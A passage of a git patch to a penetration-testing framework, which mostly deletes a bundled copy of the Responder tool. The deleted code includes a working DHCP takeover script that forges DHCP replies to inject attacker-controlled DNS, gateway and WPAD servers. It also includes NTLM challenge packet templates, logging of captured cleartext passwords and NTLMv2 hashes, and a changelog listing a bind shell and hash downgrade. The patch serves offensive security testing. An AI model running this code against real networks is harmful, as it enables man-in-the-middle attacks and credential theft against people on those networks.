PostData + PostData = '[+]The HTTP POST DATA in this request was: %s'%(''.join(POSTDATA).strip()) + print PostData logging.warning(PostData) #Handle HTTP packet sequence. @@ -1652,10 +1654,9 @@ def PacketSequence(data,client): NTLM_Auth= b64decode(''.join(Ntlm)) ParseHTTPHash(NTLM_Auth,client) if WpadForcedAuth(Force_WPAD_Auth) and WpadCustom(data,client): - Message = "WPAD (auth) file sent to: %s"%(client) + Message = "[+]WPAD (auth) file sent to: %s"%(client) if Verbose: - #print Message - logging.warning(Message) + print Message logging.warning(Message) buffer1 = WpadCustom(data,client) return buffer1 @@ -1669,13 +1670,13 @@ def PacketSequence(data,client): GrabURL(data,client) outfile = os.path.join(ResponderPATH,"HTTP-Clear-Text-Password-"+client+".txt") if PrintData(outfile,b64decode(''.join(BasicAuth))): - logging.warning("HTTP-User & Password:", b64decode(''.join(BasicAuth))) + print "[+]HTTP-User & Password:", b64decode(''.join(BasicAuth)) WriteData(outfile,b64decode(''.join(BasicAuth)), b64decode(''.join(BasicAuth))) - logging.warning('HTTP-User & Password: %s'%(b64decode(''.join(BasicAuth)))) + logging.warning('[+]HTTP-User & Password: %s'%(b64decode(''.join(BasicAuth)))) if WpadForcedAuth(Force_WPAD_Auth) and WpadCustom(data,client): - Message = "WPAD (auth) file sent to: %s"%(client) + Message = "[+]WPAD (auth) file sent to: %s"%(client) if Verbose: - logging.warning(Message) + print Message logging.warning(Message) buffer1 = WpadCustom(data,client) return buffer1 @@ -1697,10 +1698,9 @@ class HTTP(BaseRequestHandler): data = self.request.recv(8092) buff = WpadCustom(data,self.client_address[0]) if buff and WpadForcedAuth(Force_WPAD_Auth) == False: - Message = "WPAD (no auth) file sent to: %s"%(self.client_address[0]) + Message = "[+]WPAD (no auth) file sent to: %s"%(self.client_address[0]) if Verbose: - #print Message - logging.warning(Message) + print Message logging.warning(Message) self.request.send(buff) else: @@ -1923,48 +1923,48 @@ def ParseHTTPSHash(data,client): NthashOffset = struct.unpack(' 24: - #print "[+]HTTPS NTLMv2 hash captured from :",client - logging.warning('HTTPS NTLMv2 hash captured from :%s'%(client)) + print "[+]HTTPS NTLMv2 hash captured from :",client + logging.warning('[+]HTTPS NTLMv2 hash captured from :%s'%(client)) NthashLen = 64 DomainLen = struct.unpack(' Date: Mon, 30 Mar 2015 19:49:12 +0200 Subject: [PATCH 118/323] - Deleted untracked version of responder - Added modded main responder function to plugin --- libs/responder/CHANGELOG | 67 - libs/responder/DHCP.py | 379 ---- libs/responder/FindSMB2UPTime.py | 116 -- libs/responder/FindSQLSrv.py | 39 - libs/responder/Fingerprint.py | 134 -- libs/responder/FingerprintRelay.py | 132 -- libs/responder/HTTPPackets.py | 163 -- libs/responder/HTTPProxy.py | 158 -- libs/responder/IMAPPackets.py | 55 - libs/responder/Icmp-Redirect.py | 266 --- libs/responder/LDAPPackets.py | 238 --- libs/responder/RAPLANMANPackets.py | 160 -- libs/responder/README.md | 204 --- libs/responder/RelayPackets.py | 480 ------ libs/responder/Responder.py | 2576 ---------------------------- libs/responder/SMBPackets.py | 475 ----- libs/responder/SMBRelay.py | 447 ----- libs/responder/SMTPPackets.py | 74 - libs/responder/SQLPackets.py | 167 -- libs/responder/__init__.py | 0 libs/responder/odict.py | 118 -- plugins/Responder.py | 116 +- 22 files changed, 115 insertions(+), 6449 deletions(-) delete mode 100644 libs/responder/CHANGELOG delete mode 100755 libs/responder/DHCP.py delete mode 100755 libs/responder/FindSMB2UPTime.py delete mode 100755 libs/responder/FindSQLSrv.py delete mode 100644 libs/responder/Fingerprint.py delete mode 100644 libs/responder/FingerprintRelay.py delete mode 100644 libs/responder/HTTPPackets.py delete mode 100644 libs/responder/HTTPProxy.py delete mode 100644 libs/responder/IMAPPackets.py delete mode 100644 libs/responder/Icmp-Redirect.py delete mode 100644 libs/responder/LDAPPackets.py delete mode 100644 libs/responder/RAPLANMANPackets.py delete mode 100644 libs/responder/README.md delete mode 100644 libs/responder/RelayPackets.py delete mode 100755 libs/responder/Responder.py delete mode 100644 libs/responder/SMBPackets.py delete mode 100644 libs/responder/SMBRelay.py delete mode 100644 libs/responder/SMTPPackets.py delete mode 100644 libs/responder/SQLPackets.py delete mode 100644 libs/responder/__init__.py delete mode 100644 libs/responder/odict.py diff --git a/libs/responder/CHANGELOG b/libs/responder/CHANGELOG deleted file mode 100644 index 24cf12b..0000000 --- a/libs/responder/CHANGELOG +++ /dev/null @@ -1,67 +0,0 @@ -ChangeLog Responder 2.1.4: -- Added: FindSMB2UPTime.py -- Added: FindSQLSrv.py -- Added: DontRespondTo and DontRespondToName options in Responder.conf -- Added: Lanman module -- Added: Analyze mode -- Added: SMBRelay -- Removed: Old style options (On/Off). Just use -r instead of -r On. -- Added [DHCP.py]: in-scope target, windows >= Vista support (-R) and unicast answers only. -- Added: In-scope llmnr/nbt-ns name option -- Added: Kerberos hash support -- Added: DHCP INFORM take over tool (DHCP.py) -- Added: MDNS Poisoner. -- Added: -F command line switch to force NTLM authentication on PAC file retrieval. -- Added: Ability to inject custom HTML in HTTP responses. -- Added: New WPAD proxy server. Enabled by default. -- Several improvements. -- Added: SMTP module -- Added: POP3 module -- Added: MSSQL plaintext auth support -- Added: SMB Relay -- Added: NBT-NS name is now printed. -- Added: -I command line switch (network interface). When set, this option override Responder.conf Bind_to setting. -- Added: Ability to change the HTML payload returned after authentication. See Responder.conf -- Added: Ability to change the pac script in Responder.conf -- Added: Configuration file for Responder. See Responder.conf -- Removed: Several options removed. -- Added: Bind shell which when executed on a victim workstation, will bind cmd.exe to port 140. -- Added: -e, --exe, --file option for serving specific files via the HTTP and WPAD server. -- Added: Ability to bind Responder to a specific interface -- Fix: Several fixes -- Added: HTTPS module. -- Added: Support for LM Hash downgrade. -- Added: WPAD transparent proxy server. -- Fix: minor bug fix -- Fix: Fixed bug in HTTP server. -- Added: Rogue LDAP auth server. Supports clear text password and NTLMSSP. -- Added: Ability to turn on/off the DNS server. -- Added: Icmp-Redirect.py for MITM Windows XP/2003 and earlier Domain members. -- Added: SMB Clear Text function for NT4 specific. -- Added: DNS server module. -- Added: FTP server module. -- Added: Ability to find the PDC in stealth mode with the Browser listener. -- Several changes. -- Removed: -d option (Domain), useless for now. -- Added: SMB Extended Security NTLMSSP authentication. -- Added: Fingerprint module. -- Added: Ability to turn off independently capture services.(mubix) -- Added: Function to grab HTTP cookies. -- Fix: Typo in logfile description. -- Added: Option for logging to a file (ravenium). -- Added: Basic exception handling for server sockets (ravenium). -- Added: Logging functionality, now logs all Responder activity to a file with date and time. -- Added: Print IP address to stdout for each protocol. -- Improvement: Added new line on Writedata (atucom). -- Improvement: final Hash is now printed to stdout instead of NT and LM. -- Fix: Fixed spelling in README (atucom). -- Fix: Removed hardcoded challenge for SQL NTLM. -- Fix: Removed hardcoded challenge for HTTP NTLM. -- Added an HTTP server with support for ntlmv1/v2 and basic Auth. -- Added command line switch support with optparse. -- Added -r switch, which allows turning On/Off Wredir answers. -- Added the possibility to turn off HTTP server using the -s switch. -- Added LLMNR module. -- Fixed bug in NTLMv1 hash parsing when clientOs and ClientVersion are - empty. -- Several minor changes. diff --git a/libs/responder/DHCP.py b/libs/responder/DHCP.py deleted file mode 100755 index 1828ef7..0000000 --- a/libs/responder/DHCP.py +++ /dev/null @@ -1,379 +0,0 @@ -#! /usr/bin/env python -# This utility is part of NBT-NS/LLMNR Responder -# Created by Laurent Gaffie -# Copyright (C) 2014 Trustwave Holdings, Inc. -# -# This program is free software: you can redistribute it and/or modify -# it under the terms of the GNU General Public License as published by -# the Free Software Foundation, either version 3 of the License, or -# (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program. If not, see . -import sys,struct,socket,re,optparse,ConfigParser,os -from odict import OrderedDict -from socket import inet_aton, inet_ntoa - - -parser = optparse.OptionParser(usage='python %prog -I eth0 -i 10.20.30.40 -d pwned.com -p 10.20.30.40 -s 10.20.30.1 -r 10.20.40.1', - prog=sys.argv[0], - ) -parser.add_option('-i','--ip', action="store", help="The ip address to redirect the traffic to. (usually yours)", metavar="10.20.30.40",dest="OURIP") - -parser.add_option('-d', '--dnsname',action="store", help="DNS name to inject, if you don't want to inject a DNS server, provide the original one.", metavar="pwned.com", default="pwned.com",dest="DNSNAME") - -parser.add_option('-r', '--router',action="store", help="The ip address of the router or yours if you want to intercept traffic.", metavar="10.20.1.1",dest="RouterIP") - -parser.add_option('-p', '--primary',action="store", help="The ip address of the original primary DNS server or yours", metavar="10.20.1.10",dest="DNSIP") - -parser.add_option('-s', '--secondary',action="store", help="The ip address of the original secondary DNS server or yours", metavar="10.20.1.11",dest="DNSIP2") - -parser.add_option('-n', '--netmask',action="store", help="The netmask of this network", metavar="255.255.255.0", default="255.255.255.0", dest="Netmask") - -parser.add_option('-I', '--interface',action="store", help="Interface name to use, example: eth0", metavar="eth0",dest="Interface") - -parser.add_option('-w', '--wpadserver',action="store", help="Your WPAD server, finish the string with '\\n'", metavar="\"http://wpadsrv/wpad.dat\\n\"", default="\n", dest="WPAD") - -parser.add_option('-S',action="store_true", help="Spoof the router ip address",dest="Spoof") - -parser.add_option('-R',action="store_true", help="Respond to DHCP Requests, inject linux clients (very noisy, this is sent on 255.255.255.255)", dest="Request") - -options, args = parser.parse_args() - -def ShowWelcome(): - Message = 'DHCP INFORM Take Over 0.2\nAuthor: Laurent Gaffie\nPlease send bugs/comments/pcaps to: lgaffie@trustwave.com\nBy default, this script will only inject a new DNS/WPAD server to a Windows <= XP/2003 machine.\nTo inject a DNS server/domain/route on a Windows >= Vista and any linux box, use -R (can be noisy)\n\033[1m\033[31mUse Responder.conf\'s RespondTo setting for in-scope only targets\033[0m\n' - print Message - -if options.OURIP is None: - print "\n\033[1m\033[31m-i mandatory option is missing, please provide your IP address.\033[0m\n" - parser.print_help() - exit(-1) - -if options.Interface is None: - print "\n\033[1m\033[31m-I mandatory option is missing, please provide an interface.\033[0m\n" - parser.print_help() - exit(-1) - -if options.RouterIP is None: - print "\n\033[1m\033[31m-r mandatory option is missing, please provide the router's IP.\033[0m\n" - parser.print_help() - exit(-1) - -if options.DNSIP is None: - print "\n\033[1m\033[31m-p mandatory option is missing, please provide the primary DNS server ip address or yours.\033[0m\n" - parser.print_help() - exit(-1) - -if options.DNSIP2 is None: - print "\n\033[1m\033[31m-s mandatory option is missing, please provide the secondary DNS server ip address or yours.\033[0m\n" - parser.print_help() - exit(-1) - -ShowWelcome() - -#Config parsing -ResponderPATH = os.path.dirname(__file__) -config = ConfigParser.ConfigParser() -config.read(os.path.join(ResponderPATH,'Responder.conf')) -RespondTo = config.get('Responder Core', 'RespondTo').strip() - -#Setting some vars -Interface = options.Interface -OURIP = options.OURIP -ROUTERIP = options.RouterIP -NETMASK = options.Netmask -DHCPSERVER = options.OURIP -DNSIP = options.DNSIP -DNSIP2 = options.DNSIP2 -DNSNAME = options.DNSNAME -WPADSRV = options.WPAD -Spoof = options.Spoof -Request = options.Request - -if Spoof: - DHCPSERVER = ROUTERIP - -def SpoofIP(Spoof): - if Spoof: - return ROUTERIP - else: - return OURIP - -def RespondToSpecificHost(RespondTo): - if len(RespondTo)>=1 and RespondTo != ['']: - return True - else: - return False - -def RespondToIPScope(RespondTo, ClientIp): - if ClientIp in RespondTo: - return True - else: - return False - -class Packet(): - fields = OrderedDict([ - ("data", ""), - ]) - def __init__(self, **kw): - self.fields = OrderedDict(self.__class__.fields) - for k,v in kw.items(): - if callable(v): - self.fields[k] = v(self.fields[k]) - else: - self.fields[k] = v - def __str__(self): - return "".join(map(str, self.fields.values())) - - -##################################################################### -# Server Stuff -##################################################################### - -class IPHead(Packet): - fields = OrderedDict([ - ("Version", "\x45"), - ("DiffServices", "\x00"), - ("TotalLen", "\x00\x00"), - ("Ident", "\x00\x00"), - ("Flags", "\x00\x00"), - ("TTL", "\x40"), - ("Protocol", "\x11"), - ("Checksum", "\x00\x00"), - ("SrcIP", ""), - ("DstIP", ""), - ]) - -class UDP(Packet): - fields = OrderedDict([ - ("SrcPort", "\x00\x43"), - ("DstPort", "\x00\x44"), - ("Len", "\x00\x00"), - ("Checksum", "\x00\x00"), - ("Data", "\x00\x00"), - ]) - - def calculate(self): - self.fields["Len"] = struct.pack(">h",len(str(self.fields["Data"]))+8)##include udp packet. - -class DHCPACK(Packet): - fields = OrderedDict([ - ("MessType", "\x02"), - ("HdwType", "\x01"), - ("HdwLen", "\x06"), - ("Hops", "\x00"), - ("Tid", "\x22\x1b\xe0\x1a"), - ("ElapsedSec", "\x00\x00"), - ("BootpFlags", "\x00\x00"), - ("ActualClientIP", "\x00\x00\x00\x00"), - ("GiveClientIP", "\x00\x00\x00\x00"), - ("NextServerIP", "\x00\x00\x00\x00"), - ("RelayAgentIP", "\x00\x00\x00\x00"), - ("ClientMac", "\xb8\x76\x3f\xbd\xdd\x05"), - ("ClientMacPadding", "\x00" *10), - ("ServerHostname", "\x00" * 64), - ("BootFileName", "\x00" * 128), - ("MagicCookie", "\x63\x82\x53\x63"), - ("DHCPCode", "\x35"), #DHCP Message - ("DHCPCodeLen", "\x01"), - ("DHCPOpCode", "\x05"), #Msgtype(ACK) - ("Op54", "\x36"), - ("Op54Len", "\x04"), - ("Op54Str", ""), #DHCP Server - ("Op51", "\x33"), - ("Op51Len", "\x04"), - ("Op51Str", "\x00\x01\x51\x80"), #Lease time, 1 day. - ("Op1", "\x01"), - ("Op1Len", "\x04"), - ("Op1Str", ""), #Netmask - ("Op15", "\x0f"), - ("Op15Len", "\x0e"), - ("Op15Str", DNSNAME), #DNS Name - ("Op3", "\x03"), - ("Op3Len", "\x04"), - ("Op3Str", ""), #Router - ("Op6", "\x06"), - ("Op6Len", "\x08"), - ("Op6Str", ""), #DNS Servers - ("Op252", "\xfc"), - ("Op252Len", "\x04"), - ("Op252Str", WPADSRV), #Wpad Server. - ("Op255", "\xff"), - ("Padding", "\x00"), - - ]) - - def calculate(self): - self.fields["Op54Str"] = inet_aton(DHCPSERVER) - self.fields["Op1Str"] = inet_aton(NETMASK) - self.fields["Op3Str"] = inet_aton(ROUTERIP) - self.fields["Op6Str"] = inet_aton(DNSIP)+inet_aton(DNSIP2) - self.fields["Op15Len"] = struct.pack(">b",len(DNSNAME)) - self.fields["Op252Len"] = struct.pack(">b",len(WPADSRV)) - -class DHCPInformACK(Packet): - fields = OrderedDict([ - ("MessType", "\x02"), - ("HdwType", "\x01"), - ("HdwLen", "\x06"), - ("Hops", "\x00"), - ("Tid", "\x22\x1b\xe0\x1a"), - ("ElapsedSec", "\x00\x00"), - ("BootpFlags", "\x00\x00"), - ("ActualClientIP", "\x00\x00\x00\x00"), - ("GiveClientIP", "\x00\x00\x00\x00"), - ("NextServerIP", "\x00\x00\x00\x00"), - ("RelayAgentIP", "\x00\x00\x00\x00"), - ("ClientMac", "\xb8\x76\x3f\xbd\xdd\x05"), - ("ClientMacPadding", "\x00" *10), - ("ServerHostname", "\x00" * 64), - ("BootFileName", "\x00" * 128), - ("MagicCookie", "\x63\x82\x53\x63"), - ("Op53", "\x35\x01\x05"), #Msgtype(ACK) - ("Op54", "\x36"), - ("Op54Len", "\x04"), - ("Op54Str", ""), #DHCP Server - ("Op1", "\x01"), - ("Op1Len", "\x04"), - ("Op1Str", ""), #Netmask - ("Op15", "\x0f"), - ("Op15Len", "\x0e"), - ("Op15Str", DNSNAME), #DNS Name - ("Op3", "\x03"), - ("Op3Len", "\x04"), - ("Op3Str", ""), #Router - ("Op6", "\x06"), - ("Op6Len", "\x08"), - ("Op6Str", ""), #DNS Servers - ("Op252", "\xfc"), - ("Op252Len", "\x04"), - ("Op252Str", WPADSRV), #Wpad Server. - ("Op255", "\xff"), - - ]) - - def calculate(self): - self.fields["Op54Str"] = inet_aton(DHCPSERVER) - self.fields["Op1Str"] = inet_aton(NETMASK) - self.fields["Op3Str"] = inet_aton(ROUTERIP) - self.fields["Op6Str"] = inet_aton(DNSIP)+inet_aton(DNSIP2) - self.fields["Op15Len"] = struct.pack(">b",len(DNSNAME)) - self.fields["Op252Len"] = struct.pack(">b",len(WPADSRV)) - -def ParseMac(data): - return '\nDst mac:%s SrcMac:%s'%(data[0][0:6].encode('hex'),data[0][6:12].encode('hex')) - -def IsUDP(data): - if data[0][23:24] == "\x11": - return True - if data[0][23:24] == "\x06": - return False - -def ParseSrcDSTAddr(data): - SrcIP = inet_ntoa(data[0][26:30]) - DstIP = inet_ntoa(data[0][30:34]) - SrcPort = struct.unpack('>H',data[0][34:36])[0] - DstPort = struct.unpack('>H',data[0][36:38])[0] - return SrcIP,SrcPort,DstIP,DstPort - -def FindIP(data): - IP = ''.join(re.findall('(?<=\x32\x04)[^EOF]*', data)) - return ''.join(IP[0:4]) - -def ParseDHCPCode(data): - PTid = data[4:8] - Seconds = data[8:10] - CurrentIP = inet_ntoa(data[12:16]) - RequestedIP = inet_ntoa(data[16:20]) - MacAddr = data[28:34] - OpCode = data[242:243] - RequestIP = data[245:249] - if OpCode == "\x08": - i = IPHead(SrcIP = inet_aton(SpoofIP(Spoof)), DstIP=inet_aton(CurrentIP)) - p = DHCPInformACK(Tid=PTid,ClientMac=MacAddr, ActualClientIP=inet_aton(CurrentIP), GiveClientIP=inet_aton("0.0.0.0"), NextServerIP=inet_aton("0.0.0.0"),RelayAgentIP=inet_aton("0.0.0.0"),BootpFlags="\x00\x00",ElapsedSec=Seconds) - p.calculate() - u = UDP(Data = p) - u.calculate() - for x in range(1): - SendDHCP(str(i)+str(u),(CurrentIP,68)) - return '\033[1m\033[31mDHCP Inform received:\033[0m Current IP:%s Requested IP:%s Mac Address:%s Tid:%s'%(CurrentIP,RequestedIP,'-'.join('%02x' % ord(m) for m in MacAddr),'0x'+PTid.encode('hex')) - - if OpCode == "\x03": - if Request: - IP = FindIP(data) - if IP: - IPConv = inet_ntoa(IP) - if RespondToSpecificHost(RespondTo) and RespondToIPScope(RespondTo, IPConv): - i = IPHead(SrcIP = inet_aton(SpoofIP(Spoof)), DstIP=IP) - p = DHCPACK(Tid=PTid,ClientMac=MacAddr, GiveClientIP=IP,BootpFlags="\x00\x00",ElapsedSec=Seconds) - p.calculate() - u = UDP(Data = p) - u.calculate() - for x in range(1): - SendDHCP(str(i)+str(u),(IPConv,68)) - return '\033[1m\033[31mIn-scope DHCP Request received:\033[0m Requested IP: %s Mac Address: %s Tid: %s'%(IPConv,'-'.join('%02x' % ord(m) for m in MacAddr),'0x'+PTid.encode('hex')) - if RespondToSpecificHost(RespondTo) == False: - i = IPHead(SrcIP = inet_aton(SpoofIP(Spoof)), DstIP=IP) - p = DHCPACK(Tid=PTid,ClientMac=MacAddr, GiveClientIP=IP,BootpFlags="\x00\x00",ElapsedSec=Seconds) - p.calculate() - u = UDP(Data = p) - u.calculate() - for x in range(1): - SendDHCP(str(i)+str(u),(IPConv,68)) - return '\033[1m\033[31mDHCP Request received:\033[0m Requested IP: %s Mac Address: %s Tid: %s'%(IPConv,'-'.join('%02x' % ord(m) for m in MacAddr),'0x'+PTid.encode('hex')) - - if OpCode == "\x01": - if Request: - IP = FindIP(data) - if IP: - IPConv = inet_ntoa(IP) - if RespondToSpecificHost(RespondTo) and RespondToIPScope(RespondTo, IPConv): - i = IPHead(SrcIP = inet_aton(SpoofIP(Spoof)), DstIP=IP) - p = DHCPACK(Tid=PTid,ClientMac=MacAddr, GiveClientIP=IP,BootpFlags="\x00\x00", DHCPOpCode="\x02", ElapsedSec=Seconds) - p.calculate() - u = UDP(Data = p) - u.calculate() - for x in range(1): - SendDHCP(str(i)+str(u),(IPConv,0)) - return '\033[1m\033[31mIn-scope DHCP Discover received:\033[0m Requested IP: %s Mac Address: %s Tid: %s'%(IPConv,'-'.join('%02x' % ord(m) for m in MacAddr),'0x'+PTid.encode('hex')) - if RespondToSpecificHost(RespondTo) == False: - i = IPHead(SrcIP = inet_aton(SpoofIP(Spoof)), DstIP=IP) - p = DHCPACK(Tid=PTid,ClientMac=MacAddr, GiveClientIP=IP,BootpFlags="\x00\x00", DHCPOpCode="\x02", ElapsedSec=Seconds) - p.calculate() - u = UDP(Data = p) - u.calculate() - for x in range(1): - SendDHCP(str(i)+str(u),(IPConv,0)) - return '\033[1m\033[31mDHCP Discover received:\033[0m Requested IP: %s Mac Address: %s Tid: %s'%(IPConv,'-'.join('%02x' % ord(m) for m in MacAddr),'0x'+PTid.encode('hex')) - - else: - return False - - -def SendDHCP(packet,Host): - Protocol = 0x0800 - s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW) - s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1) - s.sendto(packet, Host) - -def SniffUDPMac(): - s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW) - Protocol = 0x0800 - s.bind((Interface, Protocol)) - while True: - data = s.recvfrom(65535) - if IsUDP(data): - SrcIP,SrcPort,DstIP,DstPort = ParseSrcDSTAddr(data) - if SrcPort == 67 or DstPort == 67: - Message = ParseDHCPCode(data[0][42:]) - if Message: - print 'DHCP Packet:\nSource IP/Port : %s:%s Destination IP/Port: %s:%s'%(SrcIP,SrcPort,DstIP,DstPort) - print Message - - -SniffUDPMac() diff --git a/libs/responder/FindSMB2UPTime.py b/libs/responder/FindSMB2UPTime.py deleted file mode 100755 index 46346a4..0000000 --- a/libs/responder/FindSMB2UPTime.py +++ /dev/null @@ -1,116 +0,0 @@ -#! /usr/bin/env python -# NBT-NS/LLMNR Responder -# Created by Laurent Gaffie -# Copyright (C) 2014 Trustwave Holdings, Inc. -# -# This program is free software: you can redistribute it and/or modify -# it under the terms of the GNU General Public License as published by -# the Free Software Foundation, either version 3 of the License, or -# (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program. If not, see . -import datetime, struct -import sys,socket,struct -from socket import * -from odict import OrderedDict - -class Packet(): - fields = OrderedDict([ - ("", ""), - ]) - def __init__(self, **kw): - self.fields = OrderedDict(self.__class__.fields) - for k,v in kw.items(): - if callable(v): - self.fields[k] = v(self.fields[k]) - else: - self.fields[k] = v - def __str__(self): - return "".join(map(str, self.fields.values())) - -def GetBootTime(data): - Filetime = int(struct.unpack('i", len(data)) - return Len - -class SMBHeader(Packet): - fields = OrderedDict([ - ("Proto", "\xff\x53\x4d\x42"), - ("Cmd", "\x72"), - ("Error-Code", "\x00\x00\x00\x00" ), - ("Flag1", "\x10"), - ("Flag2", "\x00\x00"), - ("Pidhigh", "\x00\x00"), - ("Signature", "\x00\x00\x00\x00\x00\x00\x00\x00"), - ("Reserved", "\x00\x00"), - ("TID", "\x00\x00"), - ("PID", "\xff\xfe"), - ("UID", "\x00\x00"), - ("MID", "\x00\x00"), - ]) - -class SMBNego(Packet): - fields = OrderedDict([ - ("Wordcount", "\x00"), - ("Bcc", "\x62\x00"), - ("Data", "") - ]) - - def calculate(self): - self.fields["Bcc"] = struct.pack(". -import socket -from socket import * - -print 'MSSQL Server Finder 0.1\nPlease send bugs/comments/e-beer to: lgaffie@trustwave.com\n' - -s = socket(AF_INET,SOCK_DGRAM) -s.setsockopt(SOL_SOCKET, SO_BROADCAST, 1) -s.settimeout(2) -s.sendto('\x02',('255.255.255.255',1434)) -try: - while 1: - data, address = s.recvfrom(8092) - if not data: - break - else: - print "===============================================================\nHost details:",address[0] - print data[2:] - print "===============================================================\n" -except: - pass - - diff --git a/libs/responder/Fingerprint.py b/libs/responder/Fingerprint.py deleted file mode 100644 index 29a7837..0000000 --- a/libs/responder/Fingerprint.py +++ /dev/null @@ -1,134 +0,0 @@ -#! /usr/bin/env python -# NBT-NS/LLMNR Responder -# Created by Laurent Gaffie -# Copyright (C) 2014 Trustwave Holdings, Inc. -# -# This program is free software: you can redistribute it and/or modify -# it under the terms of the GNU General Public License as published by -# the Free Software Foundation, either version 3 of the License, or -# (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program. If not, see . -import re,sys,socket,struct,string -from socket import * -from odict import OrderedDict - -class Packet(): - fields = OrderedDict([ - ("data", ""), - ]) - def __init__(self, **kw): - self.fields = OrderedDict(self.__class__.fields) - for k,v in kw.items(): - if callable(v): - self.fields[k] = v(self.fields[k]) - else: - self.fields[k] = v - def __str__(self): - return "".join(map(str, self.fields.values())) - -def longueur(payload): - length = struct.pack(">i", len(''.join(payload))) - return length - -class SMBHeader(Packet): - fields = OrderedDict([ - ("proto", "\xff\x53\x4d\x42"), - ("cmd", "\x72"), - ("error-code", "\x00\x00\x00\x00" ), - ("flag1", "\x00"), - ("flag2", "\x00\x00"), - ("pidhigh", "\x00\x00"), - ("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"), - ("reserved", "\x00\x00"), - ("tid", "\x00\x00"), - ("pid", "\x00\x00"), - ("uid", "\x00\x00"), - ("mid", "\x00\x00"), - ]) - -class SMBNego(Packet): - fields = OrderedDict([ - ("wordcount", "\x00"), - ("bcc", "\x62\x00"), - ("data", "") - ]) - - def calculate(self): - self.fields["bcc"] = struct.pack(". -import re,socket,struct -from socket import * -from odict import OrderedDict - -class Packet(): - fields = OrderedDict([ - ("data", ""), - ]) - def __init__(self, **kw): - self.fields = OrderedDict(self.__class__.fields) - for k,v in kw.items(): - if callable(v): - self.fields[k] = v(self.fields[k]) - else: - self.fields[k] = v - def __str__(self): - return "".join(map(str, self.fields.values())) - -def longueur(payload): - length = struct.pack(">i", len(''.join(payload))) - return length - -class SMBHeader(Packet): - fields = OrderedDict([ - ("proto", "\xff\x53\x4d\x42"), - ("cmd", "\x72"), - ("error-code", "\x00\x00\x00\x00" ), - ("flag1", "\x00"), - ("flag2", "\x00\x00"), - ("pidhigh", "\x00\x00"), - ("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"), - ("reserved", "\x00\x00"), - ("tid", "\x00\x00"), - ("pid", "\x00\x00"), - ("uid", "\x00\x00"), - ("mid", "\x00\x00"), - ]) - -class SMBNego(Packet): - fields = OrderedDict([ - ("wordcount", "\x00"), - ("bcc", "\x62\x00"), - ("data", "") - ]) - - def calculate(self): - self.fields["bcc"] = struct.pack(". -import struct -from odict import OrderedDict -from base64 import b64decode,b64encode - -class Packet(): - fields = OrderedDict([ - ("data", ""), - ]) - def __init__(self, **kw): - self.fields = OrderedDict(self.__class__.fields) - for k,v in kw.items(): - if callable(v): - self.fields[k] = v(self.fields[k]) - else: - self.fields[k] = v - def __str__(self): - return "".join(map(str, self.fields.values())) - - -#HTTP Packet used for further NTLM auth. -class IIS_Auth_401_Ans(Packet): - fields = OrderedDict([ - ("Code", "HTTP/1.1 401 Unauthorized\r\n"), - ("ServerType", "Server: Microsoft-IIS/6.0\r\n"), - ("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"), - ("Type", "Content-Type: text/html\r\n"), - ("WWW-Auth", "WWW-Authenticate: NTLM\r\n"), - ("PoweredBy", "X-Powered-By: ASP.NET\r\n"), - ("Len", "Content-Length: 0\r\n"), - ("CRLF", "\r\n"), - ]) - -#HTTP Packet Granted auth. -class IIS_Auth_Granted(Packet): - fields = OrderedDict([ - ("Code", "HTTP/1.1 200 OK\r\n"), - ("ServerType", "Server: Microsoft-IIS/6.0\r\n"), - ("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"), - ("Type", "Content-Type: text/html\r\n"), - ("WWW-Auth", "WWW-Authenticate: NTLM\r\n"), - ("PoweredBy", "X-Powered-By: ASP.NET\r\n"), - ("ContentLen", "Content-Length: "), - ("ActualLen", "76"), - ("CRLF", "\r\n\r\n"), - ("Payload", "\n\n\n\nLoading\n\n\n"), - ]) - def calculate(self): - self.fields["ActualLen"] = len(str(self.fields["Payload"])) - -#HTTP NTLM Auth -class NTLM_Challenge(Packet): - fields = OrderedDict([ - ("Signature", "NTLMSSP"), - ("SignatureNull", "\x00"), - ("MessageType", "\x02\x00\x00\x00"), - ("TargetNameLen", "\x06\x00"), - ("TargetNameMaxLen", "\x06\x00"), - ("TargetNameOffset", "\x38\x00\x00\x00"), - ("NegoFlags", "\x05\x02\x89\xa2"), - ("ServerChallenge", ""), - ("Reserved", "\x00\x00\x00\x00\x00\x00\x00\x00"), - ("TargetInfoLen", "\x7e\x00"), - ("TargetInfoMaxLen", "\x7e\x00"), - ("TargetInfoOffset", "\x3e\x00\x00\x00"), - ("NTLMOsVersion", "\x05\x02\xce\x0e\x00\x00\x00\x0f"), - ("TargetNameStr", "SMB"), - ("Av1", "\x02\x00"),#nbt name - ("Av1Len", "\x06\x00"), - ("Av1Str", "SMB"), - ("Av2", "\x01\x00"),#Server name - ("Av2Len", "\x14\x00"), - ("Av2Str", "SMB-TOOLKIT"), - ("Av3", "\x04\x00"),#Full Domain name - ("Av3Len", "\x12\x00"), - ("Av3Str", "smb.local"), - ("Av4", "\x03\x00"),#Full machine domain name - ("Av4Len", "\x28\x00"), - ("Av4Str", "server2003.smb.local"), - ("Av5", "\x05\x00"),#Domain Forest Name - ("Av5Len", "\x12\x00"), - ("Av5Str", "smb.local"), - ("Av6", "\x00\x00"),#AvPairs Terminator - ("Av6Len", "\x00\x00"), - ]) - - def calculate(self): - ##First convert to uni - self.fields["TargetNameStr"] = self.fields["TargetNameStr"].encode('utf-16le') - self.fields["Av1Str"] = 